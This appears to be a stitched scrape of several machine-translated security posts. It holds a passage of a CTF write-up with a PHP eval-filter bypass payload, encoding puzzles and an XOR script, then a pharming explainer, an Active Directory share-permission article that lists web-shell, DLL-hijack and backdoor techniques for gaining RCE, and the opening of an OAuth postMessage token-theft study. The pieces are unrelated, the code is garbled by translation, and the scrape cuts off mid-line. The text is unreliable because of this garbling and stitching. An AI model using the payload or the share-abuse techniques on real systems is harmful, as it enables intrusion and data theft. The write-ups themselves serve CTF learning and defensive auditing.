 $ blackList=[''、 '\' ''、 '' '、' `''、 '\ ['、 '\]、' \ {'、'} '、' \ t '、' \ r '、' \ n '];



 foreach（$ blacklist as $ blackitem）{



if（preg_match（ '/'。$ blackitem。 '/m'、$ content））{



 die（ 'no！no！no！'）;



 }



 }



 $ security=['abs'、 'base_convert'、 'cos'、 'dex'、 'exp'、 'f1ag'、 'getrandmax'、 'hexdec'、 'is_nan'、 'log'、 'max'、 'octdec'、 'pi'、 'sin'、 'tan'];



 preg_match_all（ '/[a-za-z_ \ x7f- \ xff] [a-za-z_0-9 \ x7f- \ xff]*/'、$ content、$ used_funcs）;



 foreach（$ used_funcs [0] as $ func）{



 if（！in_array（$ func、$ security））{



 die（ 'no！no！no！'）;



 }



 }



 eval（ 'echo'。$ content。 ';'）;



 if（isset（$ f1ag））{



 if（$ f1ag=='flag'）{



 Echo '高校生/BR';



 echo 'here_is_flag !';



 }



 }



 それ以外{



 echo 'no！no！no！';



 }



}



それ以外{



 die（ 'zはどこですか？'）;



}



？



最初の方法



最初のステップは、is_numericをバイパスして配列を使用することです



ステップ2：MD5はインターネットをバイパスし、たくさん検索します



X []=10000Y=0E215962017Z=log（$ f1ag=0）



3番目のステップは0でバイパスでき、ログ関数はx []=10000y=0E215962017z=log（$ f1ag=0）になります。



 1049983-20241004174654218-291559251.jpg



または、cos関数x []=10000y=0E215962017z=cos（$ f1ag=0）を使用します



 1049983-20241004174700986-1030522670.jpg



 
その他：



情報セキュリティ競争の通知


開いた後、色を変更すると、旗が表示されます



 1049983-20241004174701674-30547865.jpg



複数のエンコーディング


添付ファイル：



エンコーディング 1:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++  - ] ++++++。



2：（[]（! []+[]）[！+[]+！+[]]+（[] []]+[]）[+！+[]]+（! []+[]）[+[]]+（! []+[]）[+！+[]+（[！[]]+[]） +（！[]+[]）[！+[]+！+[]+！+[]+]+]+[！+[]+[！+[]+！+[]+！+[]+！+[]+！+[]+！+[]+！+ ]+！+[]+！+！+ （! []+[]）[！+[]+！+[]+！+[]+[]+[！+]+！+[]+！+[]+[]+[]+[]+[]）[！+[]+！+[]+！+[]+（[]（! []+[]）[！+[]+[]+[]+[]+ （[] [] []]+[]）[+！+[]+（! []+[]）[+！+[]]+（[！[]]]+（! []+[]）[+！+[]]+（[！[！ +[] []）[+！+[]+[]+[]+（！[]+[]+[]）[！+[]+！+[]+！+[]]+（！[]+[]）[！+[]+！+[]+！+[]+[]+]+]+[]+]+[]+[]+[]+[]+[]+



コード3：OOK。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook。 ook。 ook。 ook。 ook。ああ！ ook？ああ！ああ！ ook。 ook？ ook。 ook。 ook。 ook。 ook。



ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook？ ook。 ook？ああ！ ook。 ook？ ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ！ ook。 ook？ ook。



ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ！ ook？ああ！



ああ！ ook。 ook？ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！



ook？ ook。 ook？ああ！ ook。 ook？ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！



ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！



ああ！ ook。 ook？ ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。ああ！ ook？ああ！ああ！ ook。 ook？ ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook。 ook。 ook。 ook。 ook？ ook。 ook？ああ！ ook。 ook？ ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook。 ook。 ook。 ook。ああ！ああ！ああ！ああ！ああ！ああ！ああ！ ook。 ook？ ook。 ook。



ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ！ ook？ああ！ああ！



ook。 ook？ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ ook？



ook。 ook？ああ！ ook。 ook？ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！



ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！



ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ああ！ ook。 ook。 ook。 ook。



ああ！ ook。ああ！ ook。ああ！ああ！ああ！ ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ！ああ！ああ！ああ！ああ！ああ！



ああ！ ook。 ook。 ook。 ook。ああ！ ook。 ook？ ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ！ ook？ああ！ああ！ ook。 ook？



ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook？ ook。 ook？ああ！ ook。 ook？ ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。



ook。 ook。ああ！ ook。 ook？ ook。



最初の段落jsfuck復号化：flag {ab71cda1



 1049983-20241004174702278-1588943883.png



2つのセグメントすべてデコード：B495E13B3F21



 1049983-20241004174702915-638662998.png



3番目の段落ook復号化：F6FD50221978}



 1049983-20241004174703724-567341788.jpg



フラグ{AB71CDA1B495E13B3F21F6FD50221978}



 bluetooth 


 zipを見つけてKeキーを持っているグローバル検索フラグ



 1049983-20241004174704552-93359001.jpg明らかな圧縮パッケージとflag.txtドキュメントが見つかりました



 1049983-20241004174705291-1547728920.jpgキーキーもあります



 1049983-20241004174705931-1082659547.jpg圧縮パッケージをエクスポートします



 1049983-20241004174706446-1289494769.jpg



圧縮パッケージをエクスポートします



ここの誰かがこれらの2つのファイルをエクスポートする方法を知りません。簡単に話しましょう



最初のタイプ



トラフィックパッケージファイルを変更して、zipを減圧して分離して抽出するなどの圧縮パッケージ形式に変更します



2番目のタイプ



関連するコマンドでトラフィックパッケージファイルを直接分離します



3番目のタイプ



トラフィックパッケージを開き、キーワードを使用して元のデータを見つけます。 16進ファイルをコピーしてインポートします。圧縮パッケージを取得するには、テキストの開始と終了を変更する必要があります。



知らせ



ここの多くの人々は圧縮パッケージを入手し、ファイルが破損しており、開くことができないことを発見します。ここでは、減圧ソフトウェアを変更できます。



ciphertextとkey :を取得します



flag.txt：



10004583275926070044326083910251708233320797793557792087030978163051881401914132269450797



キー：52162946952118202938062470298887026154798297270637676463374801674742298813146203404040756931515222



これが暗号文とキーです



十進数六量体スクリプト



def hex（number）:



 hex_str=hex（number）[2:]



 Len（hex_str）==1:の場合



 hex_str='0' + hex_str



 hex_strを返します



__name__=='__main __' :の場合



 number=int（input（ 'input3360'））



 hex_representation=hex（number）



 print（f '{number}' 16進表現は: {hex_representation} '）です。



秘密のテキスト



4E94DCDB6DE87E65D263419EC45AEC93E8A2E1D386B31FB804E0F02366DF44DBE86A8A8A7C462D



鍵



28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550



 
 xor 
を実行します


＃暗号化された暗号文と16進文字列を定義します



txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df444dbe86a8a8a7c462d'



Key='28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550' '



＃ヘキサデシマル文字列をバイトオブジェクトに変換します



ciphertext_bytes=bytes.fromhex（txt）



key_bytes=bytes.fromhex（key）



＃decryptionにbyte-byte xorを使用します



＃注：ここでは、キーと暗号文は同じ長さであると想定されています。そうしないと、zipはより短い長さに切り捨てられます



decrypted_bytes=bytes（[c ^ k for c、k in zip（ciphertext_bytes、key_bytes））））



＃復号化されたバイトオブジェクトを文字列にデコードして、デコードできないバイトを無視してみてください



＃ここでは、復号化されたバイトのほとんどを有効なUTF-8文字にデコードできると想定されています



print（decrypted_bytes.decode（errors='ig


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
網域嫁接（Pharming）概念網域嫁接（Pharming）是網絡犯罪分子用來在個人計算機或服務器上安裝惡意代碼的一種騙局。顧名思義，它是“網絡釣魚（phishing）”和“嫁接（farming）”兩個詞的混成詞，代表一種類似於網絡釣魚的新型技術，可用於操縱網站流量並竊取機密信息。



網域嫁接攻擊中涉及的惡意代碼會篡改IP地址信息，從而在用戶不知情或不同意的情況下將其誤導至虛假網站。一旦被重定向到這些虛假網站，用戶就會被提示輸入個人信息，這些信息隨後將被用於身份盜竊或金融欺詐活動。



攻擊者在執行網域嫁接攻擊時主要針對銀行或其他貨幣兌換系統的客戶。這種策略是成功的，由於它允許黑客一次滲透多個設備。此外，黑客無需說服用戶點擊可疑的電子郵件鏈接或可疑廣告。惡意代碼會自動下載，無需用戶進行任何操作。



網域嫁接運作方式網域嫁接是一種通過滲透個人計算機或毒化服務器來實施的欺騙行為。這兩種方法都使用重定向網站的代碼，但每種方法的執行方式不同。



網域嫁接究竟是如何根據具體情況來實施的呢？要了解其機制和細微差別，首先還應該了解不同類型的網域嫁接。



入侵個人計算機在這種類型的網域嫁接中，黑客會發送一封電子郵件，其中包含篡改個人計算機主機文件的代碼。一旦主機文件被滲透，黑客就可以將URL重定向到用戶打算訪問的網站的虛假版本，方法是用虛假IP地址替換合法的IP地址。即使用戶輸入了正確的URL，頁面也會重定向。這些網站能夠模仿真實網站的外觀，因此用戶可能並不知道自己已經淪為受害者。



DNS投毒或DNS緩存篡改域名系統投毒或DNS投毒（DNS poisoning，即DNS服務器緩存中的記錄被篡改）是一種更極端的網域嫁接類型。要了解這種類型的網域嫁接，您首先需要了解域名系統（DNS）及其工作原理。 DNS服務器本質上是將域名轉換成IP地址——在“人類”語言和“計算機”語言之間進行轉換。



在這種網域嫁接攻擊中，黑客攻擊的是DNS服務器，而不是滲透個人計算機上的文件。該服務器可以處理成千上萬互聯網用戶的URL請求，這就意味著每個用戶都會在不知不覺中被重定向到虛假頁面。這種大規模威脅尤為危險，因為受影響的用戶即便擁有安全且無惡意軟件的設備，也可能淪為受害者。



網域嫁接vs網絡釣魚同樣是“ph-”開頭，很多人可能難以區分網域嫁接、網絡釣魚及其他網絡攻擊。



簡單來說，網絡釣魚是一種通過發送看似合法的惡意電子郵件來獲取個人信息的技術。攻擊者需要使用推銷手段，說服用戶點擊欺詐性電子郵件中的鏈接。除了電子郵件網絡釣魚外，黑客還正在採用其他形式的通信，例如短信（即短信網絡釣魚，smishin）和語音消息（即語音釣魚，vishing）。



另一方面，網域嫁接涉及創建虛假網站以竊取個人信息。雖然網絡釣魚需要點擊欺詐性點電子郵件中的鏈接，但網域嫁接並不總是需要用戶採取手動操作——他們甚至會在不知情的情況下被重定向到這些虛假網站。



網域嫁接攻擊的跡象網域嫁接攻擊可能難以檢測，尤其是當惡意網站與原始網站幾乎一模一樣時。但是，有一些微妙的方法可以判斷您是否已淪為攻擊的受害者。需要留意的一些常見的網域嫁接跡象包括：



對鏈接或網站的細微更改攻擊者有時會在創建惡意網站時更改URL中的字母或使用更改過的圖形。如果您在訪問熟悉的網站時發現拼寫錯誤、更改過的徽標或無法識別的顏色，那麼它可能就是一個網域嫁接網站。



不安全的連接網域嫁接網站經常在URL中使用“http”而不是“https”，這表示連接不安全。如果您收到一條消息警告“您的連接不安全”，或者您在地址欄中沒有看到灰色掛鎖符號，那麼您很可能正在訪問惡意網站。



不尋常的賬戶或銀行活動攻擊者經常使用網域嫁接手段來訪問銀行賬戶及其他敏感信息。如果您發現自己的信用卡或銀行賬戶存在未經授權的活動，您可能已淪為網域嫁接攻擊的受害者。



未經授權的密碼更改如果攻擊者可以訪問您的在線帳戶的登錄信息，他們可能會更改密碼以阻止您登錄。密碼隨機更改可以很好地表明了有人入侵了您的帳戶。



不熟悉的應用程序或下載突然出現不熟悉的應用程序或軟件可能表明黑客已經獲取了您設備的訪問權限。



網域嫁接帶來的網絡安全風險網域嫁接攻擊可能會對公司和個人用戶產生嚴重影響。一些最常見的風險包括：



數據丟失攻擊者可以使用網域嫁接來訪問個人數據或其他敏感信息。這對於企業所有者或對多個帳戶使用同一密碼的人來說尤其危險。如果您懷疑攻擊者通過網域嫁接攻擊獲取了您的登錄信息，應該立即更改密碼並採取措施保護受影響的帳戶。



惡意軟件打開網域嫁接騙網站或點擊不熟悉的鏈接可能會使您的設備暴露在病毒及其他惡意軟件的面前。除非您使用可靠的防病毒檢測工具，否則您可能不會注意到該過程的發生。



金融盜竊或欺詐一旦攻擊者獲得對您賬戶的訪問權限，他們就可以使用您的信息來竊取資金或進行欺詐性購買。這對於模仿銀行或其他金融機構的欺詐網站尤為常見。



網域嫁接攻擊緩解措施雖然我們無法完全阻止網域嫁接攻擊，但下述步驟可以幫助抵禦網絡犯罪分子。



檢查URL是否拼寫正確；



確保連接是安全的；



檢查網站是否有錯別字和其他不符之處；



您認為自己是攻擊的受害者，請清除DNS緩存；



運行防病毒程序以確保您的設備安全；



您認為自己的服務器受到了威脅，請盡快聯繫您的互聯網服務提供商（ISP）；



安裝VPN以確保安全的在線瀏覽。



鑑於網域嫁接和網絡釣魚等掠奪性策略日益盛行，保護自身免受各種惡意軟件攻擊比以往任何時候都更加重要。如果您採取了預防措施，並規範互聯網實踐，則可以最大限度地減少數據被惡意代碼竊取的機會。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
本文會詳細介紹如何在Active Directory環境中快速地對配置了過多權限的網絡共享進行梳理、利用和修復。過多的共享權限可能導致企業環境中的數據暴露、權限提升和勒索軟件攻擊。另外，我們還將深入探討在主流漏洞管理和滲透測試20年之後，為什麼環境網絡共享配置權限不當還一直困擾著用戶。



最後，我將分享一個名為PowerHuntShares的新開源工具，它可以幫助簡化共享查找和糾正Active Directory環境中過多的SMB共享權限。



下面總結了在大多數Active Directory環境中經常導致大規模網絡共享暴露的根本原因。



資產管理跟踪企業環境中的動態系統非常困難，跟踪不斷變化的共享庫存和所有者則更加困難。即使身份和訪問管理(IAM)團隊通過發現找到一個網絡共享，它也會產生以下問題：



1.誰擁有它？它支持哪些應用程序或業務流程？我們可以刪除高風險訪問控制條目（ACE）嗎？我們可以一起刪除共享嗎？



2.如果你有一個正常運行的配置管理數據庫(CMDB)，則可以回答大多數問題。不幸的是，並不是每個人都這樣做。



損壞的漏洞管理許多漏洞管理程序從未被構建來識別那些向經過身份驗證的域用戶提供未經授權訪問的網絡共享配置。他們的重點是識別經典的漏洞(缺失的補丁、弱密碼和應用程序問題)，並優先處理不需要身份驗證的漏洞，當然這並不都是壞事。



但是，根據我的觀察，業界只是在過去五年中才對Active Directory生態系統產生了濃厚的興趣。這似乎很大程度上是因為越來越多的暴露和意識到Active Directory(AD)攻擊，這些攻擊嚴重依賴於配置，而不是缺少補丁。



我也不是說IAM團隊沒有努力完成他們的工作，但在許多情況下這是團隊管理的困境。



滲透測試人員一直都知道共享是一種風險，但在Active Directory環境中實施、管理和評估最小權限是一項不小的挑戰。即使對安全社區越來越感興趣，也很少有解決方案可以有效地清點和評估整個Active Directory域或多個域的共享訪問權限。



根據我的經驗，很少有組織一開始就執行經過身份驗證的漏洞掃描，但即使是那些確實缺少常見的過度權限、繼承權限和對環境的總結數據的發現的組織，這些環境提供了大多數IAM團隊做出良好決策所需的洞見。很長一段時間以來，人們一直過度依賴這些類型的工具，因為許多公司有這樣的印象，即它們提供了比它們在網絡共享權限方面更多的覆蓋範圍。



邊界不清大多數大型環境都有主機、網絡和Active Directory域邊界，在執行任何類型的身份驗證掃描或代理部署時都需要考慮這些邊界。試圖準確盤點和評估網絡份額的公司經常錯過一些事情，因為他們沒有考慮隔離其資產的邊界。在評估資產時，請確保在這些邊界內工作。



大量使用云云技術地出現，並不意味著網絡共享會消失。公司需要花上十年的時間才能將大部分的文件存儲基礎設施遷移到雲。



理解NTFS和共享權限在過去的幾年裡，有許多與共享權限管理相關的糟糕實踐已經被吸收到IT文化中，只是因為人們不了解它們是如何工作的。造成過多共享權限的最大原因之一是通過本機嵌套組成員關係繼承權限。此問題也不限於網絡共享。十多年來，我們一直在濫用相同的權限繼承問題來訪問SQLServer實例。在下一節中，我將仔細分析這個問題。



網絡共享權限繼承盲點網絡共享只是使網絡上的遠程用戶可以使用本地文件的一種媒介，但是兩組權限控制著遠程用戶對共享文件的訪問。要了解權限繼承問題，我們可以快速回顧一下NTFS和共享權限在Windows系統上是如何協同工作的。



NTFS權限1.用於控制對本地NTFS文件系統的訪問；



2.會影響本地和遠程用戶；



共享權限1.用於控制對共享文件和文件夾的訪問；



2.只影響遠程用戶；



簡而言之，從遠程用戶的角度來看，首先審查網絡共享權限(遠程)，然後審查NTFS權限(本地)，但無論如何，最嚴格的權限總是勝出。下面是一個簡單示例，顯示John對共享具有完全控制權限，但對關聯的本地文件夾只有讀取權限。大多數限制性會發揮作用，所以John只能通過共享文件夾對遠程可用的文件提供讀訪問。



 1.png



所以這些是基礎，最重要的想法是限制性最強的ACL獲勝。但是，有一些細微差別與繼承域組的本地組有關。為了弄清楚這一點，讓我們簡要介紹一下受影響的當地組織。



大眾大眾組織在大多數配置中為所有經過身份驗證和匿名的用戶提供訪問權限。這個組在許多環境中被過度使用，並且經常導致過度的權限。



內置\用戶默認情況下會添加新的本地用戶。當系統未加入域時，它會按照你的預期運行。



認證用戶該組嵌套在內置\用戶組中。當系統未加入域時，它不會在影響訪問方面做太多事情。但是，當系統加入Active Directory域時，AuthenticatedUsers隱含地包括“域用戶”和“域計算機”組。例如，IT管理員可能認為他們只提供對內置\用戶組的遠程共享訪問權限，而實際上他們將其提供給域中的每個人。下圖有助於說明這種情況。



 2.png



這裡的教訓是，對本地和域組關係的一個小小的誤解可能會導致未經授權的訪問和潛在的風險。下一節將介紹如何梳理共享及其訪問控制列表(ACL)，以便我們可以定位和修復它們。



網絡共享庫存事實證明，由於一些本地和開源工具，獲得域計算機和相關共享的快速庫存並不難。關鍵在於獲取足夠的信息來回答那些修復工作所需的人員、內容、地點、時間和方式等問題。



共享和權限的發現需要4步：



1.通過輕量級目錄訪問協議(LDAP)查詢Active Directory以獲取域計算機列表。 PowerShell命令如Get-AdComputer（Active DirectoryPowerShell模塊）和Get-DomainComputer(PowerSploit)。



2.可以在這裡提供很大的幫助。確認TCP端口445上與這些計算機的連接。 Nmap是用於此目的的免費且易於使用的工具。如果你想堅持使用PowerShell，還有幾個開源TCP端口掃描腳本。



3.使用你喜歡的方法查詢共享、共享權限和其他信息。 Get-SMBShare、Get-SmbShareAccess、Get-ACL和Get-ObjectAcl(PowerSploit)等PowerShell工具非常有用。



4.其他有助於稍後進行補救的信息包括文件夾所有者、文件計數、文件列表、文件列表哈希和計算機IP地址。你還可以在貴公司的CMDB中找到其中一些信息。 Get-ChildItem和Resolve-DnsNameSome等PowerShell命令也可以幫助收集其中的一些信息。



PowerHuntShares可用於自動執行上述任務（在最後一節中介紹），但無論你使用什麼方法，了解未經授權的共享訪問如何被濫用將有助於你的團隊確定補救工作的優先級。



網絡共享開發配置有過多權限的網絡共享可以通過多種方式被利用，但共享的性質和特定的共享權限將最終決定可以執行哪些攻擊。下面，我概述了一些最常見的攻擊，這些攻擊利用對共享的讀寫入訪問來幫助你入門。



讀取訪問權限濫用勒索軟件和其他攻擊者經常利用對共享的過度讀取權限來訪問敏感數據，如個人可識別信息(PII)或知識產權(源代碼、工程設計、投資策略、專有公式、收購信息等)，他們可以利用這些數據開發、出售或勒索你的公司。此外，我們在滲透測試中發現，密碼通常以明文形式存儲，可以用於登錄數據庫和服務器。這意味著在某些情況下，對共享的讀取訪問權限可以在RCE中結束。



下面是一個簡單的例子，說明對網絡共享的過多讀訪問如何導致RCE：



攻擊者入侵域用戶。攻擊者識別web根目錄、代碼備份目錄或dev ops目錄的共享目錄。攻擊者識別以明文形式存儲的密碼(通常是數據庫連接字符串)。攻擊者使用數據庫密碼連接數據庫服務器。攻擊者使用本機數據庫功能來獲得數據庫服務器操作系統的本地管理權限。攻擊者利用共享數據庫服務帳號訪問其他數據庫服務器。



具體示例如下：



 3.png



寫入訪問權限濫用寫入訪問權限提供了讀取訪問的所有好處，並且能夠添加、刪除、修改和加密文件（如勒索軟件攻擊者）。寫入訪問還提供了將共享訪問轉變為RCE的更多潛力。以下是十個更常見的RCE選項的列表：



1.將web shell寫入web根文件夾，可以通過web服務器訪問。



2.替換或修改應用程序EXE和DLL文件以包含後門。



3.將EXE或DLL文件寫入未引用的應用程序和服務使用的路徑。



4.編寫DLL到應用程序文件夾以執行DLL劫持。你可以使用由NetSPI自己的研究總監NickLanders編寫的Koppeling。



5.將DLL和配置文件寫入應用程序文件夾以執行.net應用程序的appdomain劫持。



6.在“所有用戶”啟動文件夾中寫入可執行文件或腳本，以便在下次登錄時啟動它們。



7.修改計劃任務執行的文件。



8.修改PowerShell啟動配置文件以包含後門。



9.修改MicrosoftOffice模板以包含後門。



10.編寫惡意LNK文件以捕獲或中繼NetNTLM哈希。



你可能已經註意到，我列出的許多技術也常用於持久性和橫向移動，這很好地提醒了舊技術可以有多個攻擊。



下圖是個基本的web shell示例：



1.攻擊者破壞了域用戶。



2.攻擊者掃描共享，找到wwwroot目錄，並上傳web shell。 wwwroot目錄存儲目標IIS服務器上託管的Web應用程序使用的所有文件。因此，你可以將web shell視為擴展已發布Web應用程序功能的東西。



3.使用標準Web瀏覽器，攻擊者現在可以訪問目標IISWeb服務器託管的上傳web shell文件。 4.攻擊者使用web shell訪問以作為Web服務器服務帳戶在操作系統上執行命令。



5.Web服務器服務帳戶可能具有訪問網絡上其他資源的額外權限。



 4.png



下面是另一個簡化的圖表，顯示了可用於執行我列出的前10種攻擊的一般步驟。讓我們關註一下被濫用的C$部分。 C$共享是Windows中的默認隱藏共享，標準域用戶不應訪問。它映射到C驅動器，該驅動器通常包括系統上的所有文件。不幸的是，devOops、應用程序部署和單用戶錯誤配置意外或故意使C$共享在比你想像的更多環境中可供所有域用戶使用。在我們的滲透測試中，我們對加入域的系統執行了完整的SMB共享審計，並且我們發現超過一半的時間我們最終對C$共享進行寫訪問。



 5.png



網絡共享修復在過度的共享修復工作中追踪系統所有者、應用程序和有效的業務案例對於IAM團隊來說可能是一個巨大的痛苦。對於大型企業而言，這可能意味著對數十萬個共享ACL進行分類。因此，在該工作期間有辦法對共享進行分組和優先級排序可以節省大量時間。



我發現成功分組的訣竅是收集正確的數據。為了確定要收集哪些數據，我們要先設置一些標準，然後確定我可以從哪裡獲得這些數據。



哪些共享有暴露風險？共享名稱：有時，僅共享名稱就可以表明暴露的數據類型，包括C$、ADMIN$和wwwroot等高風險共享。



共享文件計數：當你可能首先嘗試優先考慮高風險共享時，沒有文件的目錄可以成為優先共享修復的一種方式。



目錄列表：與共享名稱類似，共享目錄中的文件夾和文件通常可以告訴你很多有關上下文的信息。



目錄列表哈希：這只是目錄列表的哈希。雖然不是硬性要求，但它可以使識別和比較相同的目錄列表更容易一些。



誰有訪問權限？共享ACL：這將有助於顯示用戶擁有哪些訪問權限，並且可以針對已知的高風險組或大型內部組織進行過濾。



NTFSACL：這將有助於顯示用戶擁有哪些訪問權限，並且可以針對已知的高風險組或大型內部組進行過濾。



它們是什麼時候創建的？



文件夾創建日期：對創建日期進行分組或聚類可以揭示與過去可能引入過多共享權限的業務部門、應用程序和流程相關的趨勢。



誰創建了它們？文件夾所有者：文件夾所有者有時可以將你帶到擁有創建/使用共享的系統、應用程序或流程的部門或業務單位。



主機名：如果使用標準化命名約定，主機名可以指示位置和所有權。



他們在哪裡？計算機名稱：如果使用標準化命名約定，主機共享的計算機名稱通常可用於確定部門和位置等大量信息。



IP地址：與計算機名稱類似，子網通常也分配給執行特定操作的計算機。在許多環境中，該分配記錄在Active Directory中並且可以交叉引用。



如果我們在發現過程中收集了所有這些信息，我們可以使用它來根據共享名稱、所有者、子網、文件夾列表和文件夾列表哈希執行分組，以便我們可以識別大量可以立即修復的相關共享。



過多的權限過多的讀寫共享權限已被定義為任何網絡共享ACL，其中包含針對“所有人”、“經過身份驗證的用戶”、“內置\用戶”、“域用戶”或“域計算機”的顯式ACE（訪問控制條目）組織。由於權限繼承問題，它們都為域用戶提供了對受影響共享的訪問權限。



高風險共享如上所述，高風險共享被定義為提供對系統或應用程序的未經授權的遠程訪問的共享。默認情況下，這包括wwwroot、inetpub、c和c$共享。但是，可能存在其他未提及的風險。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
'OAuth-dance”方法是什麼？



響應類型首先，你可以在OAuth-dance中使用不同的響應類型，最常見的三種是：



1.代碼+狀態。該代碼用於調用OAuth-provider 服務器端以獲取令牌。 state 參數用於驗證正確的用戶正在撥打電話。在對OAuth-provider進行服務器端調用之前，OAuth-client負責在服務器端調用OAuth-provider之前驗證狀態參數。



2.id_token。是使用來自OAuth-provider的公共證書籤名的JSON Web 令牌(JWT)，以驗證所提供的身份確實是它聲稱的身份。



3.token。是服務提供者的API 中使用的訪問令牌。



響應模式在OAuth-dance 中，授權流程可以使用多種模式向網站提供代碼或令牌，以下是四種最常見的模式：



1.Query，將查詢參數作為重定向發送回網站(https://example.com/callback?code=xxxstate=xxx)。用於“代碼+狀態”情況。該代碼只能使用一次，並且在使用該代碼時你需要OAuth 客戶端密鑰來獲取訪問令牌。不建議對令牌使用此模式，因為令牌可以多次使用，並且不應最終出現在服務器日誌或類似文件中。大多數OAuth-provider不支持令牌的這種模式，僅支持代碼。例如：



response_mode=query 被Apple 使用。



response_type=code 由Google 或Facebook 使用。



2.Fragment。使用Fragment重定向(https://example.com/callback#access_token=xxx)。在這種模式下，URL 的Fragment部分不會出現在任何服務器日誌中，只能使用javascript訪問客戶端。此響應模式用於令牌。如下所示：



response_mode=fragment 被Apple 和Microsoft 使用；



response_type 包含id_token 或token，由Google、Facebook、Atlassian 和其他人使用。



3.Web-message。使用postMessage 到網站的固定來源：



postMessage('{'access_token':'xxx'}','https://example.com')



如果支持，它通常可以用於所有不同的響應類型。如下所示：



response_mode=web_message 由Apple 使用。



redirect_uri=storagerelay://. 被Google 使用。



redirect_uri=https://staticxx.facebook.com/./connect/xd_arbiter/. 被Facebook 使用。



4.Form-post。使用表單發佈到有效的redirect_uri，一個常規的POST-request被發送回網站。這可用於代碼和令牌。如下所示：



response_mode=form_post 由Apple 使用。



ux_mode=redirectlogin_uri=https://example.com/callback 由Google 登錄(GSI) 使用。



一些OAuth 提供商通過圍繞OAuth-dance 提供完整的SDK 包裝器來簡化OAuth 流程，例如Google 的GSI。這與id_token 的常規OAuth 流程完全一樣。令牌通過form-POST 或postMessage 發送回網站。



通過postMessage 竊取令牌我一直在尋找與postMessage 實現相關的漏洞。我構建了一個Chrome 擴展程序來偵聽消息並簡化檢查每個選項卡中所有窗口的所有postMessage 偵聽器。雖然如今在這些偵聽器中很少發現簡單的XSS 問題，但來源檢查較弱或沒有來源檢查的問題仍然很常見。然而，在很多情況下，能夠繞過起源檢查並沒有任何真正的影響。



我們認為將會有帶有弱源檢查或沒有源檢查的postMessage偵聽器，它們會洩漏location.href，這是你當前訪問的網站的URL。它將直接或間接洩漏到我可能能夠捕獲它的其他地方。



例如，在常規起始頁上，這可能看起來並不重要，但是如果我可以嘗試讓OAuth 代碼或令牌登陸具有這些弱postMessage 偵聽器之一的網站頁面。然後，我將能夠通過從不同的選項卡發送消息並取回location.href 來從偵聽器獲取令牌，並且我將能夠竊取OAuth 令牌，而無需任何XSS。



這種竊取當前URL 的方法對於其他具有與OAuth-dance 無關的敏感URL 的地方當然很有趣，但感覺使URL 敏感的最常見方法是關注登錄流程。



為了開始調查，我決定：



1.瀏覽運行漏洞賞金的熱門網站上的所有登錄流程。



2.如果他們使用任何第三方OAuth-provider，請保存他們使用的登錄URL，其中包含所有提供程序的客戶端ID、響應類型/模式和重定向uri。



